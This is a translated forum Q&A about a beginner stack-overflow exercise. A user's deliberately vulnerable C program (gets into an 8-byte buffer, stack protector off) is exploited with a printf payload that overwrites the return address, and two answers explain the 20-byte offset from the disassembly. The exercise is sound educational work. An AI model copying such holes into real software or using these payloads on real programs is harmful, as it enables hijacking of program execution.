我正试图控制堆栈溢出。首先,这是我在x32 VM Linux(gcc -fno-stack-protector -ggdb -o first first.c
)上编译的C代码示例,
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
然后调试器(intel flavor):转储函数GetInput
的汇编程序代码:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
这里我们可以看到sub esp,0x28为缓冲区变量保留了40个字节(对吗?)。
CanNeverExecute
函数位于地址0x0804843c
。
因此,为了运行CanNeverExecute
函数,我需要将40个字节放入缓冲区变量,然后为存储的基本指针输入8个字节,然后我希望更改8个字节的返回指针。
所以,我需要一串48个ASCII符号加上\x3c\x84\x04\x08
(CanNeverExecute
函数的地址)。这是理论上的。但实际上,在返回指针的地址之前我只需要20个字节:
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
为什么它只需要20个字节而不是48个字节?我的错误在哪里?
答案 0 :(得分:9)
首先,你的程序集是32位。保存的EBP和返回地址各为4个字节。
其次,buffer
变量不从堆栈顶部(ESP)开始 - 它从ebp-0x10开始。距离返回地址20个字节。 0x10是16个字节,然后是保存的EBP的4个字节。
答案 1 :(得分:2)
如果你采取更大的反汇编部分,你会看到:
08048445 <GetInput>:
8048445: 55 push %ebp
8048446: 89 e5 mov %esp,%ebp
8048448: 83 ec 28 sub $0x28,%esp
804844b: 8d 45 f0 lea -0x10(%ebp),%eax
804844e: 89 04 24 mov %eax,(%esp)
8048451: e8 9a fe ff ff call 80482f0 <gets@plt>
8048456: 8d 45 f0 lea -0x10(%ebp),%eax
8048459: 89 04 24 mov %eax,(%esp)
804845c: e8 9f fe ff ff call 8048300 <puts@plt>
8048461: c9 leave
8048462: c3 ret
保存ebp,esp移动到ebp,然后从esp中减去40(堆栈帧,如你所写), 但是指向缓冲区的指针是通过eax寄存器传递的,而eax是用ebp-0x10加载的!
lea -0x10(%ebp),%eax
所以你只需要20个字节来溢出缓冲区(16个保留+4个用于32位系统上的存储基址指针)